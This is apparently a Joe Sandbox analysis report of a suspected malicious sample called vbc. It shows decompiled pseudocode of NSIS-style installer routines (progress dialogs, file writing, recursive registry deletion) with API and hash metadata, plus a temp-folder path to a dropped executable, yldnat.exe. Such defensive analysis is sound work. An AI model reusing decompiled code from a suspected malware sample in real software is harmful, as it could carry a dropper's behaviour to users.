				_t27 =  *0x7a7a84;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x7a8b54;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E004066AB(_t38, 0, 0x7a0f68, 0x7a0f68, _a4);
					}
					_t27 = lstrlenW(0x7a0f68);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x7a7a68, 0x7a0f68);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x7a0f68;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x7a0f68[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x7a0f68, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004056d6
0x004056e0
0x004056e5
0x004056eb
0x004056f6
0x004056f9
0x004056fc
0x00405702
0x00405702
0x00405708
0x00405710
0x00405713
0x00405730
0x00405734
0x0040573d
0x0040573d
0x00405747
0x00405750
0x0040575c
0x00405763
0x00405767
0x0040576a
0x0040577d
0x0040578b
0x0040578b
0x0040578f
0x00405791
0x00405794
0x00000000
0x00405794
0x00405715
0x0040571d
0x00405725
0x0040572b
0x00000000
0x0040572b
0x00405725
0x00405713
0x004057a0

APIs

lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
lstrcatW.KERNEL32 ref: 0040572B
SetWindowTextW.USER32 ref: 0040573D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Part of subcall function 004066AB: lstrcatW.KERNEL32 ref: 00406850
Part of subcall function 004066AB: lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID:
API String ID: 1495540970-0
Opcode ID: 5359f18cea5025c05ea2e312da5c850c9979a77eaabc6fad8f28e044c716b6a3
Instruction ID: b1df74b24ef97eccf04675f52fbaffa54a328febca5869b92639b2b84e823bb6
Opcode Fuzzy Hash: 5359f18cea5025c05ea2e312da5c850c9979a77eaabc6fad8f28e044c716b6a3
Instruction Fuzzy Hash: 32219D71900518FACF119FA5DD84ACFBFB8EF85350F10842AF904B6290C7794A40DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004068F5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004068F5(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405FB4(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405F6A(L"*?|<>/\":", _t5))) == 0) {
							E00406119(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004068f7
0x00406900
0x00406917
0x00406917
0x0040691e
0x0040692a
0x0040692a
0x0040692d
0x00406930
0x00406935
0x00406937
0x00406940
0x00406944
0x00406961
0x00406969
0x00406969
0x0040696e
0x00406970
0x00406973
0x00406978
0x00406979
0x0040697d
0x0040697d
0x0040697e
0x00406985
0x00406987
0x0040698e
0x00000000
0x00000000
0x00406996
0x0040699c
0x00000000
0x00000000
0x00000000
0x0040699c
0x004069a1

APIs

CharNextW.USER32(?), ref: 00406958
CharNextW.USER32(?), ref: 00406967
CharNextW.USER32(?), ref: 0040696C
CharPrevW.USER32(?,?), ref: 0040697F

Strings

*?|<>/":, xrefs: 00406947
C:\Users\user\AppData\Local\Temp\, xrefs: 004068F6

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3083651966
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: be6858c8d4b602c62de40fdc636a35535680886f1e3ed17f643e47e9e10769a1
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 0D11E6A580060295DB302B148C40A7762E8AF94750F12403FE98AB36C1E7BC4CA2C6BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040302E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x79f73c;
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x79f73c = 0;
					return _t15;
				}
				if( *0x79f73c != 0) {
					return E00406A77(0);
				}
				_t6 = GetTickCount();
				if(_t6 >  *0x7a8aac) {
					if( *0x7a8aa8 == 0) {
						_t7 = CreateDialogParamW( *0x7a8aa0, 0x6f, 0, E00402F93, 0);
						 *0x79f73c = _t7;
						return ShowWindow(_t7, 5);
					}
					if(( *0x7a8b54 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00403012());
						return E004056D0(0,  &_v132);
					}
				}
				return _t6;
			}

0x0040303d
0x0040303f
0x00403046
0x00403049
0x00403049
0x0040304f
0x00000000
0x0040304f
0x0040305d
0x00000000
0x00403060
0x00403067
0x00403073
0x0040307b
0x004030b9
0x004030c2
0x00000000
0x004030c7
0x00403084
0x00403095
0x00000000
0x004030a3
0x00403084
0x004030cf

APIs

DestroyWindow.USER32 ref: 00403049
GetTickCount.KERNEL32(00000000), ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

CreateDialogParamW.USER32 ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32 ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 54489552992201bc3988819c72fa622d06d96af98b9c9b950ef7c711f1b17aa9
Instruction ID: 36a9105e1bf518e5a00a94211bbaadb265df24d4843d4ed97aac6270594080be
Opcode Fuzzy Hash: 54489552992201bc3988819c72fa622d06d96af98b9c9b950ef7c711f1b17aa9
Instruction Fuzzy Hash: 40015B70413610ABC7217FA0AD49A9A7FACAB01B06F50853BF441F25E9DA7C46458B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00404F85 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F85(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404f93
0x00404fa0
0x00404fa6
0x00404fe4
0x00404fe4
0x00404ff3
0x00404ffa
0x00000000
0x00404ffc
0x00404fa8
0x00404fb7
0x00404fbf
0x00404fc2
0x00404fd4
0x00404fda
0x00404fe1
0x00000000
0x00404fe1
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404FA0
GetMessagePos.USER32 ref: 00404FA8
ScreenToClient.USER32(?,?), ref: 00404FC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FD4
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FFA

Strings

f, xrefs: 00404FD6

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 51d4338ac073bbeac8b2964ce5aa15998fcdd55d82c6f64f668885239b8ba4c4
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: D6015E7194021DBADB00DBA5DD85FFEBBBCAF54711F10012BBB50B61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00403012();
					_t19 = L"unpacking data: %d%%";
					if( *0x7a8ab0 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fd3
0x00402fd8
0x00402fda
0x00402fda
0x00402fe5
0x00402ff5
0x00403007
0x00403007
0x0040300f

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32 ref: 00402FF5
SetDlgItemTextW.USER32 ref: 00403007

Strings

unpacking data: %d%%, xrefs: 00402FD3, 00402FE3
verifying installer: %d%%, xrefs: 00402FDA

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 863410c55cf87ff373a2389e5224159976098539ce34d2f9597aa36d95ce2bb5
Instruction ID: 8fb0b87627a2e5c232f470bc2292a7be8d93e7e9342cf65e243ccc0cc3a46c1c
Opcode Fuzzy Hash: 863410c55cf87ff373a2389e5224159976098539ce34d2f9597aa36d95ce2bb5
Instruction Fuzzy Hash: 74F0367050020DABEF246F50DD49BEA3B69EB40309F00C03AF606B51D0DBBD99549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402950(void* __ebx) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				void* _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405FB4(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406139(_t55);
				_t29 = E0040615E(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x7a8ab4;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004035FE(_t49);
							E004035E8(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E00403377(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t51 =  *_t59;
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00406119( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E00406210( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E00403377(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029e7
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 01061f3d3ca3a4d7c364cd067c19041a51f9a0b08810e1f4a161c9a0c4070a25
Instruction ID: ec4356a3eb6c7711b506d5a245a30aad41ccfdb787a60eec272099fea1c037c4
Opcode Fuzzy Hash: 01061f3d3ca3a4d7c364cd067c19041a51f9a0b08810e1f4a161c9a0c4070a25
Instruction Fuzzy Hash: D431C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E1CB798D419B98

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004064DB(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406A3B(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?), ref: 00402F74

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction ID: e84adf69fee3246f56ef13a6fd4e717e0861f51d99737fac189c4d1833cff19f
Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction Fuzzy Hash: 31213B7150010ABBDF11AF90CE89EEF7B7DEB54384F110076F909B21E0D7B59E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
